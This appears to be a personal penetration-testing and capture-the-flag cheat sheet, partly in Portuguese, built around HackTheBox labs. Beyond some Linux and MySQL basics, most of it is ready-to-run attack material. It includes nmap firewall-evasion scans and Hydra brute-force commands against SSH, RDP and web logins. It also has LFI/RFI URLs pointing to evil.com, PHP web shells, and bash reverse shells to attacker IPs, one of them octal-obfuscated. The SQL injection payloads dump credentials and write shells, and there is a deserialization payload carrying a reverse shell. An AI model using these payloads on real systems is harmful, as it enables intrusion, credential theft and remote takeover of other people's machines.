1. Índice

2. Linux basics

1. FIND - search for files in a directory hierarchy

```
find / -name samples.txt                  # It will search for sample.txt in / directory or sub-directory
find / -name *.txt                        # It will give all files which have ‘.txt’ at the end.
find / -name sample.txt -exec rm -i {} \;  # It will ask to delete all files named sample.txt
find / -perm 664                          # It will search for all chmod 664 files in / directory or sub-directory
find ./ -type f -name "*.txt" -exec grep 'Geek'  {} \; # It will search for all files which have ".txt" at the end, and grep it,
printing match lines.
```

2. AWK - pattern scanning and processing language

```
cat /path/file | awk '{ print $1 }'                    # print first element of all lines
cat /path/file | awk '{ print $NF }'                   # print last element of all lines
echo "13" | awk '{ var= $1 ; var += 17; print "o valor da variável é de: "var}'
    # output => o valor da variável é de: 30
echo IP:10_10_10_100 | awk '$1=$1' FS="_" OFS="." | awk '$1=$1' FS=":" OFS=": "
    # output => IP: 10.10.10.100 >> O primeiro awk substitui o "_" por ":" em toda o field 1. e o seguindo adiciona um espaço, com
os mesmo método de substituição
```

3. TR - Translate, squeeze, and/or delete characters from standard input

> Substitui caracter a caracter

```
echo "String: Hello World\!" | tr ":" ","
    # output => String, Hello World!
echo "String: Hello World\!" | tr "abcdefg" "bcdefgh"
    # output => Strinh: Hfllo Worle!
```

3. Softwares e ferramentas

4. SMBClient

4.1. Basics

```
smbclient -L \\\\10.10.10.10\\                      # Enumera as pastas não ocultas em modo anonymous
smbclient -p 1234 \\\\10.10.10.10\\                 # Especifica uma porta diferente da normal (445)
smbclient \\\\10.10.10.10\\directory                 # Tenta entrar para a pasta "directory" do share SMB
smbclient -k \\\\10.10.10.10\\                      # Kerberos mode
smbclient -U USERNAME -N \\\\10.10.10.10\\          # Tenta entrar com username sem password
smbclient -U USERNAME -P PASSWORD \\\\10.10.10.10\\
smbclient -W WORKGROUP \\\\10.10.10.10\\


# SMB antigos ==>
smbclient //10.10.10.3/tmp -N  # Efectuar login numa pasta com pelo menos permissões de leitura
logon "/=`nohup nc -e /bin/bash 10.10.14.11 443`"  # Efectuar login com um usuário do tipo WTF para executar commando e Tumba pÁh
dentro!
```

5. SMBMap

5.1. Basics

```
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 --donwload /path/file.ext
```

6. Nmap Cheat Sheet

6.1. Exemples

```
sudo nmap -sS --min-rate 5000 -p- --open -vvv -n -Pn $(<target) -oG enumeration/nmap-grepable.txt
```

6.2. Basic Scanning Techniques

```
nmap [target]                              # Scan a Single Target
nmap [target1, target2, etc]               # Scan Multiple Targets
nmap -iL [list.txt]                        # Scan a List of Targets
nmap -A [target]                           # Perform an Aggressive Scan
nmap -6 [target]                           # Scan an IPv6 Target
```

6.3. Discovery Options

```
nmap -sP [target]                       # Perform a Ping Only Scan
nmap -PN [target]                       # Don't Ping
nmap --traceroute [target]              # Traceroute
nmap -R [target]                        # Force Reverse DNS Resolution
nmap -n [target]                        # Disable Reverse DNS Resolution
nmap --system-dns [target]              # Alternative DNS Lookup
nmap --dns-servers [servers] [target]   # Manually Specify DNS Server(s)
```

6.4. Advanced Scanning Functions

```
nmap -sS [target]                 # TCP SYN Scan
nmap -sT [target]                 # TCP Connect Scan
nmap -sU [target]                 # UDP Scan
nmap -sN [target]                 # TCP NULL Scan
nmap -sF [target]                 # TCP FIN Scan
nmap -sX [target]                 # Xmas Scan
nmap -sA [target]                 # TCP ACK Scan
```

6.5. Port Scanning Options

```
nmap -F [target]                            # Perform a Fast Scan
nmap -p [port(s)] [target]                  # Scan Specific Ports
nmap -p- [target]                           # Scan All Ports
nmap --open                                 # Only open ports, don't do nothing in filtered ports or whatever
```

6.6. Version Detection

```
nmap -O [target]                  # Operating System Detection
nmap -sV [target]                 # Service Version Detection
nmap -sR [target]                 # Perform a RPC Scan
```

6.7. Timing Options

```
nmap -T[0-5] [target]                       # Timing Templates
nmap --min-parallelism [number] [target]    # Minimum # of Parallel Operations
nmap --max-parallelism [number] [target]    # Maximum # of Parallel Operations
nmap --min-rate [number] [target]           # Minimum Packet Rate
nmap --max-rate [number] [target]           # Maximum Packet Rate
nmap --defeat-rst-ratelimit [target]        # Defeat Reset Rate Limits
```

6.8. Firewall Evasion Techniques

```
nmap -f [target]                          # Fragment Packets
nmap --mtu [MTU] [target]                 # Specify a Specific MTU
nmap -D RND:[number] [target]             # Use a Decoy
nmap -sI [zombie] [target]                # Idle Zombie Scan
nmap --source-port [port] [target]        # Manually Specify a Source Port
nmap --data-length [size] [target]        # Append Random Data
nmap --randomize-hosts [target]           # Randomize Target Scan Order
nmap --spoof-mac [MAC|0|vendor] [target]  # Spoof MAC Address
nmap --badsum [target]                    # Send Bad Checksums
```

6.9. Output Options

```
nmap -oN [scan.txt] [target]         # Save Output to a Text File
nmap -oX [scan.xml] [target]         # Save Output to a XML File
nmap -oG [scan.txt] [targets]        # Grepable Output
nmap -oA [path/filename] [target]    # Output All Supported File Types
```

6.10. Troubleshooting and Debugging

```
nmap -v [target]               # Verbose Output
nmap -d [target]               # Debugging
nmap --iflist                  # Display Host Networking
```

6.11. Nmap Scripting Engine

```
nmap --script [script.nse] [target]              # Execute Individual Scripts
nmap --script [expression] [target]              # Execute Multiple Scripts
nmap -sC [target]                                # Execute Default Script

# Script Categories all, auth, default, discovery, external, intrusive, malware, safe, vuln
nmap --script [category] [target]                # Execute Scripts by Category
nmap --script [category1,category2,etc] [target]  # Execute Multiple Script Categories
nmap --script-updatedb                           # Update the Script Database nmap
```

7. Manual TCP Scan em Bash

```
for port in $(seq 1 65355); do
    timeout 1 bash -c "echo > /dev/tcp/10.10.10.123/$port" && echo "[*] Open Port => $port" &
done; wait
```

8. Hydra

> A very fast network logon cracker which supports many different services

```
hydra
    [[[-l LOGIN|-L FILE] [-p PASS|-P FILE|-x OPT -y]] | [-C FILE]]
    [-e nsr] [-u] [-f|-F] [-M FILE] [-o FILE] [-b FORMAT]
    [-t TASKS] [-T TASKS] [-w TIME] [-W TIME] [-m OPTIONS] [-s PORT]
    [-c TIME] [-S] [-O] [-4|6] [-I] [-vV] [-d]
    server service [OPTIONS]

PRINCIPAL OPTIONS:
    -s PORT
    -l LOGIN_NAME -L LIST_LOGIN_NAMES
    -p PASSWORD -P LIST_PASSWORDS
    -C FILE (colon separated "login:pass" format, instead of -L/-P options)
    -o FILE (write found login/password pairs to FILE instead of stdout)
    -t TASKS (run TASKS number of connects in parallel (default: 16))
    -m OPTIONS (module specific options. See hydra -U <module> what  options  are  available.)
    -v / -V (verbose mode / show login+pass combination for each attempt)
    -f (exit after get first login:password)
```

> Exemples

```
export user=Admin
export pass=PaSsW0rD!
export ip=10.10.10.10

hydra -l $user -P ./passwords.txt ftp://$ip -vV -f           # FTP brute force
hydra -l $user -P ./passwords.txt $ip -t 4 ssh -vV -f        # SSH brute force
hydra -P ./passwords.txt -v $ip snmp -vV -f                  # SNMP brute force
hydra -l $user -P ./passwords.txt -f $ip pop3 -vV -f         # POP3 Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -vV -f        # SMTP Brute Force
hydra -t 1 -l $user -P ./passwords.txt $ip smb -vV -f        # SMB Brute Forcing
hydra -L users.txt -P passwords.txt $ip smb -vV -f           # SMB Brute Forcing
hydra -t 1 -l $user -P ./passwords.txt rdp://$ip -vV -f      # Hydra attack Windows Remote Desktop
hydra -L users.txt -P passwords.txt $ip ldap2 -vV -f         # LDAP Brute Forcing
hydra -L ./users.txt -P ./passwords.txt $ip http-get /admin  # attack http get 401 login with a dictionary

# Post Web Form
hydra -l $user -P ./passwordlist.txt $ip http-post-form "/:username=^USER^&password=^PASS^:F=incorrect"
hydra -l $user -P ./passwordlist.txt $ip -V http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
In&testcookie=1:S=Location'

# Get form popup login
hydra -l $user -P ./passwordlist.txt $ip http-get /dir/
```

9. wfuzz

```
wfuzz -c --hc=404,403 --hh=11321 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w ./extensions.txt
http://10.10.10.78/FUZZ
FUZ2Z
```

10. Wget recursivo

```
wget -r http://10.10.10.75/nibbleblog/content/ -np -R "index.html*" # -np (no-parent) -R "string" (remove files with string name... wilcards works)
```

11. WPScan - WordPress Security Scanner

```
wpscan --url www.website.com              # Non-intrusive scan
    -t 50                                 # Force 50 threads
    --cookie-string COOKIE                # Cookie string to use in requests, format: cookie1=value1[; cookie2=value2]
    --wp-content-dir /DIR                 # Specific correct /path when is not the default
    --wp-plugins-dir /DIR                 # Specific correct /path when is not the default
    --enumerate [OPTIONS]                 # Valid options: vp (Vulnerable plugins),
                                          #                ap (All plugins),
                                          #                p (Plugins),
                                          #                vt (Vulnerable themes),
                                          #                at (All themes),
                                          #                t (Themes),
                                          #                tt (Timthumbs),
                                          #                cb (Config backups),
                                          #                u (User IDs)
                                          # Format: [choice],[choice],[choice],...
    -P, --passwords /path/wordlist.txt    # List of password to brute force. If no --usernames, user enumeration will be run
    -U, --usernames /path/wordlist.txt    # List of usernames to brute force. Examples: 'a1', 'a1,a2,a3', '/tmp/a.txt'
    --update                              # Update database

# Examples:
wpscan --url www.website.com
wpscan --url www.website.com --passwords /path/wordlist.txt -t 50
wpscan --url www.website.com --passwords /path/wordlist.txt --usernames admin
wpscan --url www.website.com --passwords /path/wordlist.txt --usernames admin --wp-content-dir custom-content
wpscan --url www.website.com --passwords /path/wordlist.txt --usernames admin --wp-plugins-dir wp-content/custom-plugins
```

12. RLWRAP - readline wrapper

> rlwrap runs the specified command, intercepting user input in order to provide readline's line editing, persistent history and completion.

```
rlwrap nc -lvnp 443           # Intercept all input on nc, to provide history completion, and use directional keys
```

13. IMAGE - Exiftool (exiftool - Read and write meta information in files)

> A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types. FILE is one or more source file names, directory names, or "-" for the standard input. Metadata is read from source files and printed in readable form to the console

14. steghide

```
steghide info <filname.jpg> -p <password if existe...>
steghide extract -sf <filename.jpg> -p <password if existe...>
```

4. Técnicas e Métodos

15. LFI / RFI (Local/Remote File Inclusion)

> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

15.1. Basic LFI (null byte, double encoding and other tricks)

```
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
```

Interesting files to check out :

```
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
```

15.2. Basic RFI (null byte, double encoding and other tricks)

```
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

15.3. LFI / RFI Wrappers

LFI Wrapper rot13 and base64 - php://filter case insensitive

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

can be chained with a compression wrapper
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

LFI Wrapper ZIP

```
echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

RFI Wrapper DATA with "" payload

```
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
```

RFI Wrapper EXPECT

```
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
```

15.4. LFI - XSS

XSS via RFI/LFI with "<svg onload=alert(1)>" payload

```
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
```

LFI to RCE via /proc/*/fd

1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via Upload

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

You can injected the <?php system($_GET['c']); ?> into the metadata

16. Remote port forwarding - por ssh

```
kali@kali: > ssh -L 127.0.0.1:<newPortForOurMachine>:127.0.0.1:<portRunningTargetHtml> <targetUserName>@<targetIP>
```

17. Web Shell em PHP

```
<?php
    echo "\nURL Shell... url?cmd=<command>\n\n";
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
###############################################################################
<?php echo system($_GET['cmd']); exit; ?>
###############################################################################
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.53/443 0>&1'");?>
```

18. Change MIME Type of file

```
# https://en.wikipedia.org/wiki/List_of_file_signatures

xxd -r -p -o 0 <(echo FF D8 FF DB) shell.php.jpg
```

19. Reverse Shell tricks octal with printf

```
echo "bash -c 'exec bash -i &>/dev/tcp/10.10.14.53/443 <&1'" | od -b -An | sed 's/ /\\/g' | tr -d "\n" | xclip -sel clip
printf
"\142\141\163\150\040\055\143\040\047\145\170\145\143\040\142\141\163\150\040\055\151\040\046\076\057\144\145\166\057\164\143\160\05
7\061\060\056\061\060\056\061\064\056\067\057\064\064\063\040\074\046\061\047\012" | sh
```

5. Get SubDomain - DNS

```
kali@kali: > nslookup
               > server 10.10.10.13
               > 10.10.10.13

kali@kali: >  dig @10.10.10.123 friendzone.red axfr
kali@kali: >  dnsenum --server 10.10.10.224 --threads 50 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
kali@kali: >  host -t axfr friendzone.red 10.10.10.123

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "Host: FUZZ.forwardslash.htb"
http://forwardslash.htb/
```

6. File Transfere Techniques

20. With nc - Linux

```
kali@kali: > nc -nlvp 4646 > file.f
target@10.10.10.10: > nc <KaliIp> 4646 < file.f
```

21. FTP Partilhado / montado

```
kali@kali: > curlftpfs anonymous:senhalol@10.10.10.78 $(pwd)
```

7. SQL

22. MySQL

Command	Description
General	
`mysql -u root -h docker.hackthebox.eu -P 3306 -p`	login to mysql database
`SHOW DATABASES`	List available databases

Command	Description
`USE users`	Switch to database
Tables	
`CREATE TABLE logins (id INT, ...)`	Add a new table
`SHOW TABLES`	List available tables in current database
`DESCRIBE logins`	Show table properties and columns
`INSERT INTO table_name VALUES (value_1,..)`	Add values to table
`INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)`	Add values to specific columns in a table
`UPDATE table_name SET column1=newvalue1, ... WHERE <condition>`	Update table values
Columns	
`SELECT * FROM table_name`	Show all columns in a table
`SELECT column1, column2 FROM table_name`	Show specific columns in a table
`DROP TABLE logins`	Delete a table
`ALTER TABLE logins ADD newColumn INT`	Add new column
`ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn`	Rename column
`ALTER TABLE logins MODIFY oldColumn DATE`	Change column datatype
`ALTER TABLE logins DROP oldColumn`	Delete column
Output	
`SELECT * FROM logins ORDER BY column_1`	Sort by column
`SELECT * FROM logins ORDER BY column_1 DESC`	Sort by column in descending order
`SELECT * FROM logins ORDER BY column_1 DESC, id ASC`	Sort by two-columns
`SELECT * FROM logins LIMIT 2`	Only show first two results
`SELECT * FROM logins LIMIT 1, 2`	Only show first two results starting from index 2
`SELECT * FROM table_name WHERE <condition>`	List results that meet a condition
`SELECT * FROM logins WHERE username LIKE 'admin%'`	List results where the name is similar to a given string

23. MySQL Operator Precedence

- Division (`/`), Multiplication (`*`), and Modulus (`%`)
- Addition (`+`) and Subtraction (`-`)
- Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`)
- NOT (`!`)
- AND (`&&`)
- OR (`||`)

24. SQL Injection

Payload	Description
Auth Bypass	
`admin' or '1'='1`	Basic Auth Bypass
`admin')-- -`	Basic Auth Bypass With comments
Auth Bypass Payloads	
Union Injection	
`' order by 1-- -`	Detect number of columns using `order by`
`cn' UNION select 1,2,3-- -`	Detect number of columns using Union injection
`cn' UNION select 1,@@version,3,4-- -`	Basic Union injection
`UNION select username, 2, 3, 4 from passwords-- -`	Union injection for 4 columns
DB Enumeration	
`SELECT @@version`	Fingerprint MySQL with query output
`SELECT SLEEP(5)`	Fingerprint MySQL with no output
`cn' UNION select 1,database(),2,3-- -`	Current database name
`cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -`	List all databases
`cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -`	List all tables in a specific database
`cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -`	List all columns in a specific table

Payload	Description
`cn' UNION select 1, username, password, 4 from dev.credentials-- -`	Dump data from a table in another database
Privileges	
`cn' UNION SELECT 1, user(), 3, 4-- -`	Find current user
`cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -`	Find if user has admin privileges
`cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -`	Find if all user privileges
`cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -`	Find which directories can be accessed through MySQL
File Injection	
`cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -`	Read local file
`select 'file written successfully!' into outfile '/var/www/html/proof.txt'`	Write a string to a local file
`cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -`	Write a web shell into the base web directory

25. CEWL - Html to Password list

```
cewl -w password.txt http://10.10.10.100/  # password.txt (is the output file) http://10.10.10.100/ (is the target website for translate into password list)
```

26. PHP deserialize example:

```
┌──(javali㉿kali)-[~/CaptureTheFlag/HackTheBox/Tenet]
└─$ php --interactive
Interactive mode enabled

php > class DatabaseExport{
php { public $user_file = 'shell.php';
php { public $data = '<?php shell_exec("bash -c \'bash -i >& /dev/tcp/10.10.14.7/443 0>&1\'"); ?>';
php { }
php > print urlencode(serialize(new DatabaseExport));
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+shell_exec%28%22bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.7%2F443+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
```